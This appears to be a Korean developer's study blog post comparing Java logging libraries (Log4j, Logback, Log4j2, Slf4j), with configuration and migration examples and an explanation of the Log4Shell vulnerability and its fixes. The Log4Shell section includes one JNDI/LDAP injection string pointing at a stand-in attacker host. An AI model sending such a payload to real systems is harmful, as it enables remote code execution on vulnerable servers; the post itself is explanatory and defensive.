본문 바로가기
공부

Log4j 학습

by 실패전문개발자 2022. 1. 28.

Log4j

  • Log for Java
  • Java기반 로깅 라이브러리, 디버그 용으로 주로 사용

장점

  • 프로그램 문제 파악 용이: 코드 라인을 보여주기 때문에 어디서 문제가 발생한지 파악 가능
  • 상황별 Level을 지정하여 Level 별 메시지 선택 가능
    • DEBUG, TRACE, INFO, WARN, ERROR
  • 환경세팅이 간단함
  • 출력 위치가 자유롭고, 다양한 출력 형식 지원
  • 외부 파일에 로깅할 때 날짜/시간 패턴으로 롤오버할 파일 구성 가능, 그리고 파일 크기가 임계값에 도달하면 파일 롤링
  • 비동기 로깅을 이용해 성능을 높일 수 있음

단점

  • 비동기로 돌릴 경우 Queue나 Buffer의 용량이 많아지면 Log가 유실될 수 있음
  • 최근 Log4j 일부 버전에서 JNDI(Java Naming and Directory Interface)와 Lookup(${ })을 통해 해커가 공격할 수 있다는 사실이 알려짐

설정 (maven 기준)

  1. pom.xml에 log4j dependency 추가
<dependency>
  <groupId>log4j</groupId>
  <artifactId>log4j</artifactId>
  <version>1.2.17</version>
</dependency>

 

  1. log4j.xml 작성
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">
<log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'>
  <appender name="console" class="org.apache.log4j.ConsoleAppender">
    <layout class="org.apache.log4j.PatternLayout">
      <param name="ConversionPattern" value="%d{yyyy-MM-dd HH:mm:ss} [%-5p] (%F:%L) %m%n"/>
    </layout>
  </appender>

  <appender name="file" class="org.apache.log4j.DailyRollingFileAppender"> 
    <param name="File" value="/home1/irteam/apps/tomcat/logs/app.log" />
    <param name="DatePattern" value="'.'yyyy-MM-dd"/>
    <param name="Append" value="true"/>
    <layout class="org.apache.log4j.PatternLayout">
      <param name="ConversionPattern" value="%d{yyyy-MM-dd HH:mm:ss} [%-5p] (%F:%L) %m%n"/>
    </layout>
  </appender>

   <!-- appender 중략 -->

  <logger name="external" additivity="false">
    <level value="ERROR"/>
    <appender-ref ref="file" />
    <appender-ref ref="console"/>
  </logger>

  <logger name="com.nhncorp" additivity="false">
    <level value="ERROR"/>
    <appender-ref ref="file" />
    <appender-ref ref="console"/>
  </logger>

  <!-- logger 중략 -->

  <root>
    <level value="ERROR"/>
    <appender-ref ref="file" />
    <appender-ref ref="console"/>
  </root>
</log4j:configuration>

 

  1. Java 코드에 추가
@RestController
public class TestController {
  private Logger log = LogManager.getLogger(this.getClass());
  public String test(String[] args) {
    log.warn("hello");
    return "test";
  }
}

 

  1. 실행 결과
2021-12-24 18:30:58 [WARN ](TestController.java:15) hello

 

log4j.xml 구조

  • appender: 전달된 로그를 어디에 출력할지 결정 (콘솔/파일/DB 등)
ConsoleAppender System.out, System.err에 로그를 남기는 Appender
FileAppender File에 로그를 남기는 Appender
RollingFileAppender 로그 파일이 특정 크기에 도달할 때마다 파일을 새로 만드는 Appender
DailyRollingFileAppender 날짜에 따라 로그 파일명을 변환하며 로그를 남기는 Appender
... ...

 

  • layout: 어떤 형식으로 로그를 출력할지 결정
PatternLayout 패턴 문자열로 구성 가능한 유연한 레이아웃
EnhancedPatternLayout PatternLayout의 업그레이드 버전, PatternLayout이 로그를 String으로 만든다면 EnhancedPatternLayout은 로그를 StringBuffer로 만듬
SimpleLayout 로그레벨을 제외한 어떠한 레이아웃도 없음
... ...

 

  • logger: logging 메시지를 Appendeer에 전달하며, 로그레벨과 로그출력 여부를 결정
    • name: 사용하게 될 logger class 혹은 package
    • level: log의 레벨 중 하나를 사용 (장점의 2번째에 기록)
    • appender-ref: 로그의 출력 방식을 설정, 연결될 appender를 선택 (appender name으로)
    • additivity: root logger와 중복으로 로깅을 할지 여부 (true: 중복 로깅, false: 중복 로깅 거부)

 

  • root: root logger
    • 최상위 패키지 로거
    • 특정 클래스나 패키지에 대한 logger가 없으면 root logger를 사용함

 

구동 방식 (2.x 기준)

1. LogManager에서 특정 클래스 이름의 로거를 요청

  • LogManager.getLogger(this.getClass());

2. LogManager는 적절한 이름의 LoggerContext를 찾은 후 Logger를 획득함

  • log4j.xml에서 해당하는 클래스의 logger를 찾음

3. 선언된 Logger에 LoggerConfig 연결

  • Logger 자체는 직접적인 작업을 수행하지 않음
  • 단순히 이름만 가지고 AbstractLogger를 상속받아 LoggerConfig을 통해 재정의됨

4. LoggerConfig에서 LogEvents를 전달하는 Appender와 연결

  • Appender에 전달되기 전에 LogEvent가 전달되도록 허용해야 하는 Filter set이 있음
  • Filter에서 로그 레벨, 유저정보 등 다양한 조건을 필터링함

 

Logback

  • Log4j의 후속, Log4j 개발자가 Logback 또한 개발함
  • Log4j와 유사하지만 향상된 성능과 필터링 옵션 제공 (Log4j의 10배의 성능)
  • Slf4j의 구현체: Slf4j api를 직접 사용하기 때문에 디펜던시 추가 필요

Auto-Reloading

  • Log4j의 경우 log4j.xml을 수정하면 서버를 재가동해야함
  • Logback은 logback.xml을 수정하더라도 서버 재가동 필요없이 즉시 리로드를 해줌

모듈

  • pom.xml에 디펜던시 추가해야 하는 것들
  • logback-core: logback-classic, logback-access의 공통 라이브러리
  • logback-classic: Slf4j API를 구현하는 모듈
  • logback-access: Tomcat이나 Jetty같은 서블릿 컨테이너와 통합돼 HTTP-access 로그 기능을 제공

 

Log4j2

  • Log4j의 2.x 버전
  • Logback 보다 최근에 나옴
  • Log4j, Logback에 비해 압도적인 성능 (비동기 로거의 경우 Log4j, Logback의 처리량의 18배)
  • 람다식 도입, Lazy Evaluation 지원
    • logger.trace("Number is {}", () -> getRandomNumber());
    • 로그 레벨이 trace가 아니면 Lazy Evaluation 안됨

Migration Log4j to Log4j2

1. pom.xml 수정

  • log4j 1.x 버전 제거
  • log4j-api 디펜던시 추가
    • log4j 프레임워크와의 인터페이스를 위한 api 모음
  • log4j-core 디펜던시 추가
    • 인터페이스의 구현으로 실제 코드가 포함되어 있음
  • log4j-slf4j-impl 디펜던시 추가
    • slf4j를 log4j2로 바인딩해줌
    • log4j-slf4j-impl에도 log4j-api와 log4j-core가 있음.
    • log4j-api와 log4j-core의 버전을 다르게 하고 싶은 경우 따로 정의해야함
    • 안해주면 Slf4j 사용하지 않고 Log4j2 사용해야 하는듯

2. import 변경

import org.apache.log4j.Logger; // Log4j 1.x
import org.apache.logging.log4j.Logger; // Log4j 2.x
import org.slf4j.Logger; // Slf4j

3. 사용 클래스 및 메소드 변경

private org.apache.log4j.Logger logger1 = org.apache.log4j.LoggerFactory.getLogger(this.getClass()); // Log4j 1.x
private org.apache.logging.log4j.Logger logger2 = org.apache.logging.log4j.LogManager.getLogger(this.getClass()); // Log4j 2.x
private org.slf4j.Logger loggers = org.slf4j.LoggerFactory.getLogger(this.getClass()); // Slf4j

4. log4j.xml을 log4j2.xml로 교체

  • 문법이 비슷하지만 다름

 

Slf4j

  • Simple Logging Facade for Java
  • java.util.logging, logback, log4j, ... 등 다양한 로깅 프레임워크에 대한 추상화(인터페이스) 라이브러리
  • 추상 로깅 라이브러리이기 때문에 단독으로 사용 안함

동작과정

  1. Slf4j Logger api 호출
  2. Slf4j Bridging module
    • logger 호출을 Slf4j 인터페이스로 연결하여 Slf4j API가 대신처리 하도록 어댑터 역할
  3. Slf4j API
    • 추상 메소드이기 때문에 무언가(Log4j, Logback)에 바인딩 되어야함
  4. Slf4j Binding
    • Slf4j 인터페이스를 Logging Framework와 연결하는 어댑터 역할
    • Slf4j API를 구현한 클래스에서 Binding으로 연결될 Logger의 API 호출

 

Log4j 취약점 사태 (Log4Shell)

  • 2021년 12월 11일 Log4j2 2.15버전 미만 모든 버전에서 RCE(Remote Code Execution) 취약점이 공개
  • 제로데이 취약점: 공격자(해커)가 먼저 발견한 취약점, Log4j 패치하기도 전에 공격할 수 있는 취약점
    • 그렇기 때문에 이 취약점을 통해 이미 공격당했을 가능성이 존재함

왜 사상 최악의 취약점일까?

  • Log4j는 Java를 사용하는 대부분의 어플리케이션에 사용되는 로깅 라이브러리이다.
  • Log4j를 통해 RCE (원격 제어 실행)이 가능하다.
  • 서버 컴퓨터로 부터 해커가 원하는 api를 요청할 수 있다.
  • 전세계 Log4j를 사용하는 모든 서버가 공격 대상이다. (애플, 아마존, 구글, 깃허브, 네이버 등등)

원리

  • 십수년전 SQL Injection을 통한 공격이 발생한 후, User의 Input을 신뢰하지 말아야 한다는 교훈을 깨달음
    • 하지만 Log4j는 User의 인풋을 조금은 신뢰했나 봄
  • Log4j에는 Lookup이라는 기능이 있음
    • log.info("Debugging {}", str) 여기서 {}에 인자로 들어온 문자열을 넣어 저장함
    • 근데 {}여기에 ${env:USER}와 같은 로그를 남기면 문자열이 아닌 사용자의 정보를 저장하게 됨
  • Log4j에는 JNDI(Java Naming and Directory Interface)라는 인터페이스가 있음
    • Java 프로그램이 디렉토리를 통해 객체를 찾을 수 있도록해주는 디렉토리 서비스
    • JNDI에는 다양한 프로토콜이 존재 (HTTP, SSH, LDAP)
    • LDAP: 네트워크 상에서 조직이나 개인정보 혹은 파일이나 디바이스 정보등을 찾아보는 것을 가능하게 만든 프로토콜
    • JNDI와 LDAP를 이용해 원하는 Java 객체를 찾을 수 있음
  • 즉, Lookup과 JNDI, LDAP를 이용하면 원하는 객체를 실행할 수 있게 됨
    • log.info("Debugging {}", str) 여기서 str에 ${jndi:ldap://attacker.com:8080/attack} 이런 문자열이 들어간다면
    • 공격받은 서버가 attacker.com:8080/attack 이라는 url을 해커 서버에게 요청하며 해커가 원하는 작업을 실행함

해결

  • log4j 2.17.0 버전으로 업데이트를 해야함
  • 업데이트 하지 않는다면?
    • 사용자가 남기는 로그에서 Lookup을 못하게 막거나 (Log4j 2.7.0 이상)
    • JndiLookup 클래스와 JndiManager 클래스를 읽지 못하도록 조치 (Log4j 2.7.0 미만)

'공부' 카테고리의 다른 글

recoil 소개  (0) 2022.06.22
쿠버네티스 학습  (0) 2022.03.24
RabbitMQ vs Kafka vs Redis  (0) 2022.03.11
Apache vs NGINX, 그리고 NGINX 설정  (0) 2022.01.26